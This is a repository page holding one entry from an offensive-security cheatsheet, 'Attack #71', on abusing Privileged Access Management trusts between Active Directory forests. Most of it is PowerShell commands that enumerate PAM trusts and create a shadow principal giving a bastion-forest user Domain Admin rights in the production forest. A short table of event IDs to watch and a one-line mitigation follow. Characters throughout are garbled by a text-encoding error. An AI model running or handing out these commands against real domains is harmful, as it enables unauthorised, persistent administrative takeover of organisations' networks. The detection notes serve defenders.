repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-71-pam-trust-abuse-bastion-forest.mdMarkdown80 lines3.3 KiBsource raw download

title: "Attack #71 โ€” PAM Trust Abuse (Bastion Forest)" description: "Get-ADTrust -Filter {TrustType -eq "ForestTransitive"} | Where ForestTransitive -eq $true netdom trust corp.local /domain:bastion.local /verify" category: active-directory subcategory: "Trust Abuse" tags: ["active-directory", "privilege-escalation"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Nine/๐Ÿ”ถ Attack #71 โ€” PAM Trust Abuse (Bastion Forest).md"#

๐Ÿ”ถ Attack #71 โ€” PAM Trust Abuse (Bastion Forest)#


๐Ÿ“– How It Works#

Privileged Access Management (PAM) trust is a special forest trust type introduced in Server 2016 for bastion forest architectures. It enables time-limited group memberships via "shadow principals" โ€” users in the bastion forest get temporary membership in privileged groups of the production forest. If the bastion forest is compromised, or if the PAM trust is misconfigured, an attacker can abuse shadow principals to gain persistent, time-unlimited admin access to the production forest.


โš™๏ธ Prerequisites#

Requirement Detail
PAM trust exists Between production and bastion forest
Compromise bastion forest Or misconfigured PAM trust

๐Ÿ’ป Full Commands#

# โ”€โ”€ Enumerate PAM trust โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ADTrust -Filter {TrustType -eq "ForestTransitive"} | Where ForestTransitive -eq $true
netdom trust corp.local /domain:bastion.local /verify

# โ”€โ”€ Find shadow principals โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
  -Filter * -Properties *

# โ”€โ”€ If bastion is compromised โ€” create shadow principal mapping โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# From bastion forest as DA:
New-ADObject -Type "msDS-ShadowPrincipal" -Name "shadow-DA" \
  -Path "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
  -OtherAttributes @{
    'msDS-ShadowPrincipalSid' = (Get-ADGroup "Domain Admins" -Server corp.local).SID
    'member' = (Get-ADUser attacker -Server bastion.local).DistinguishedName
  }
# attacker in bastion forest now has DA rights in corp.local production forest

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4624 Security Log Authentication via PAM trust from bastion forest
5136 Security Log Shadow principal creation/modification

๐Ÿ”— Attack Chain Context#

[PAM Trust] โ”€โ”€โ†’ Bastion Forest Compromise โ†’ Production Forest Admin
         โ”‚
         โ”œโ”€โ”€โ†’ โš ๏ธ Rare โ€” only exists in environments with Server 2016+ bastion forests
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Shadow principals = temporary group membership across trusts
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: harden bastion forest, monitor shadow principal changes

โœ… Attack #71 โ€” PAM Trust Abuse complete.


๐Ÿ Category 9 โ€” Trust & Forest Attacks is now COMPLETE (4/4 attacks).